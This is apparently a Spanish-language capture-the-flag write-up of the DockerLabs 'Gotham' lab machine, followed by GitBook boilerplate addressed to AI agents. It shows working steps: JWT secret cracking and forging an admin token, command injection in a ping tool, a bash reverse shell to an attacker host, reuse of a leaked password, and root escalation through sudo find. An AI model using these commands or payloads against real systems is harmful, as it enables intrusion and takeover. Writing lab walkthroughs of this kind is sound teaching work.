> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/gotham.md).
# Gotham
## Introduccion
En esta maquina de DockerLabs se compromete un portal llamado `GOTHAM//NET`. La cadena empieza con enumeracion web y una credencial temporal olvidada en el HTML: `guest:guest`. Desde el dashboard se obtiene una cookie JWT, se crackea el secreto con Hashcat y se firma un nuevo token con rol de administrador.
Con acceso al panel NOC se explota una inyeccion de comandos en una utilidad de ping para obtener shell como `www-data`. En `config.php` aparece una clave reutilizada para la cuenta de mantenimiento `bruce`, y la escalada final se realiza con una regla `sudo` que permite ejecutar `/usr/bin/find` como root.
A fecha de redaccion, no he encontrado writeups publicos de Gotham tras buscar referencias externas, asi que este writeup puede ser de los primeros publicados sobre la maquina.
***
## Reconocimiento
Se realiza un escaneo completo con Nmap:
```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```
El escaneo muestra dos puertos abiertos:
| Puerto | Servicio | Version |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH | OpenSSH 8.9p1 Ubuntu |
| 80/tcp | HTTP | Apache httpd 2.4.52 Ubuntu |
Nmap tambien detecta:
```
http-title: Gotham City Network
robots.txt: /dashboard.php, /admin.php
```
La web principal muestra un panel de acceso:
***
## Enumeracion web
Se enumeran rutas con Gobuster:
```bash
gobuster dir -u http://172.17.0.2:80 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x html,zip,php,txt,bak,sh,asp,aspx \
-b 404 \
-t 60
```
Rutas encontradas:
```
index.php
admin.php
config.php
robots.txt
dashboard.php
```
Al revisar el codigo fuente del login aparece una pista directa:
```html
```
***
## Acceso como guest
Se inicia sesion con:
```
guest:guest
```
El dashboard confirma el acceso, pero con nivel de autorizacion `user`:
Aunque aparece un enlace al NOC, la aplicacion indica que solo los administradores pueden acceder.
Interceptando la peticion se observa una cookie `session` con formato JWT:
***
## Crackeo del JWT
Se guarda el token en un fichero y se prueba con Hashcat en modo JWT:
```bash
hashcat -m 16500 jwt.txt --show
```
El secreto de firma es:
```
batman
```
Con ese secreto se crea un nuevo token con usuario y rol de administrador:
```python
import jwt
import time
secret = "batman"
payload = {
"user": "admin",
"role": "admin",
"iat": 1781477909
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
```
Al ejecutar el script se obtiene el token firmado:
Se sustituye la cookie `session` desde el navegador:
Al recargar, el dashboard muestra rol `admin`:
***
## Panel NOC
Con el token de administrador ya se puede entrar en `admin.php`, donde aparece una utilidad de diagnostico para hacer ping a un host:
Una prueba normal contra `8.8.8.8` devuelve salida de `ping`:
***
## Command Injection
Se prueba inyeccion con tuberia y el comando `id`:
```
8.8.8.8 | id
```
La respuesta confirma ejecucion como `www-data`:
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Se prepara una reverse shell:
```
7; bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
```
Con `nc` escuchando en la maquina atacante:
```bash
nc -lvnp 4444
```
se recibe una shell como `www-data`:
***
## Enumeracion local
Se revisa `/etc/passwd` y aparece el usuario `bruce`:
En el directorio web se lee `config.php`:
El fichero contiene varias pistas:
```php
$DB_HOST = '127.0.0.1';
$DB_USER = 'gothamdb';
$DB_PASS = 'Arkh4m_Kn1ght!'; // NOTE(W.E.): misma clave usada en la cuenta de mantenimiento
$JWT_SECRET = 'batman';
```
La nota indica que la clave tambien se usa en la cuenta de mantenimiento. Se prueba con `bruce`:
```bash
su bruce
```
La password valida es:
```
Arkh4m_Kn1ght!
```
***
## Escalada a root
Como `bruce`, se revisan permisos de sudo:
```bash
sudo -l
```
El usuario puede ejecutar `/usr/bin/find` como root sin contrasena:
```
(root) NOPASSWD: /usr/bin/find
```
Se abusa de `find` para lanzar una shell:
```bash
sudo find . -exec /bin/sh \; -quit
whoami
```
La salida confirma el compromiso:
```
root
```
***
## Resumen
La cadena completa queda:
1. Reconocimiento de SSH y Apache.
2. Enumeracion de rutas con Gobuster.
3. Lectura de credenciales temporales `guest:guest` en el HTML.
4. Acceso al dashboard como `guest`.
5. Extraccion de cookie JWT.
6. Crackeo del secreto JWT con Hashcat: `batman`.
7. Creacion de JWT con `user=admin` y `role=admin`.
8. Acceso al panel NOC.
9. Command Injection en la utilidad de ping.
10. Reverse shell como `www-data`.
11. Lectura de `config.php` y reutilizacion de password para `bruce`.
12. Escalada a root con `sudo find`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/gotham.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.